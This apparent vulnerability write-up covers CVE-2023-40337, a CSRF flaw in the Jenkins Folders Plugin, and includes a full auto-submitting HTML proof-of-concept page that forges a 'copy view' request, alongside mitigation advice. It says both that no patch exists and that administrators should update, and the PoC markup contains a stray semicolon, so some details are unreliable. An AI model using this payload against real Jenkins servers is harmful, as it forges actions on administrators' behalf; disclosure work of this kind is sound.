A security vulnerability, tracked as CVE-2023-40337, was recently discovered in Jenkins Folders Plugin version 6.846.v23698686ff6 and earlier. The vulnerability is a Cross-Site Request Forgery (CSRF) issue, which allows malicious users to trick a Jenkins administrator into copying a view inside a folder without their knowledge or consent.

Description

CSRF is a type of security vulnerability that affects web applications. In a CSRF attack, a malicious website tricks a user into performing an action by forging an HTTP request from the user to the web application. In this case, Jenkins Folders Plugin is vulnerable to a CSRF attack where an attacker can copy a view inside a folder, potentially disrupting the normal operation of Jenkins.

The Folders Plugin is a popular plugin used in Jenkins for organizing and structuring views and jobs. The issue exists due to insufficient CSRF protection on the "copy view" functionality within the plugin.

Exploit Details

An attacker can take advantage of this vulnerability by crafting a malicious webpage that, when visited by a Jenkins administrator, sends a forged request to Jenkins. The request appears to come from the administrator, causing Jenkins to perform the action specified by the attacker, such as copying a view inside a folder.

Here's a code snippet demonstrating a simple example of such an exploit

<!DOCTYPE html>
<html>
<head></head>
<body>
    <h1>Jenkins CSRF Exploit</h1>
    <form action="http://YOUR_JENKINS_URL/plugin/folders/copyView"; method="POST" id="csrfExploitForm">
        <input type="hidden" name="orginalViewName" value="TARGET_VIEW_TO_COPY">
        <input type="hidden" name="newViewName" value="MALICIOUS_VIEW">
        <input type="hidden" name="folderName" value="TARGET_FOLDER">
    </form>
    <script>
        document.getElementById("csrfExploitForm").submit();
    </script>
</body>
</html>

Replace YOUR_JENKINS_URL, TARGET_VIEW_TO_COPY, MALICIOUS_VIEW, and TARGET_FOLDER with appropriate values for your environment.

Mitigation

The developers of Jenkins Folders Plugin have been informed of the vulnerability and will likely release a patch to address it in future versions. In the meantime, Jenkins administrators can take the following steps to safeguard their instances:

1. Update the Jenkins Folders Plugin to the latest version, if available. You can check for updates on the official Jenkins Plugin site.

2. Restrict access to the Jenkins instance by implementing proper network segregation, access control lists, and firewalls.

3. Ensure that your users do not click on suspicious links or visit malicious websites while authenticated to Jenkins.

- CVE-2023-40337
- Jenkins Security Advisory
- Jenkins Folders Plugin

Conclusion

CVE-2023-40337 is a CSRF vulnerability in Jenkins Folders Plugin that can result in unauthorized copy actions within a Jenkins instance. While a patch is not currently available, administrators should stay vigilant and follow best practices to protect their Jenkins instances.

Timeline

Published on: 08/16/2023 15:15:00 UTC
Last modified on: 08/22/2023 18:45:00 UTC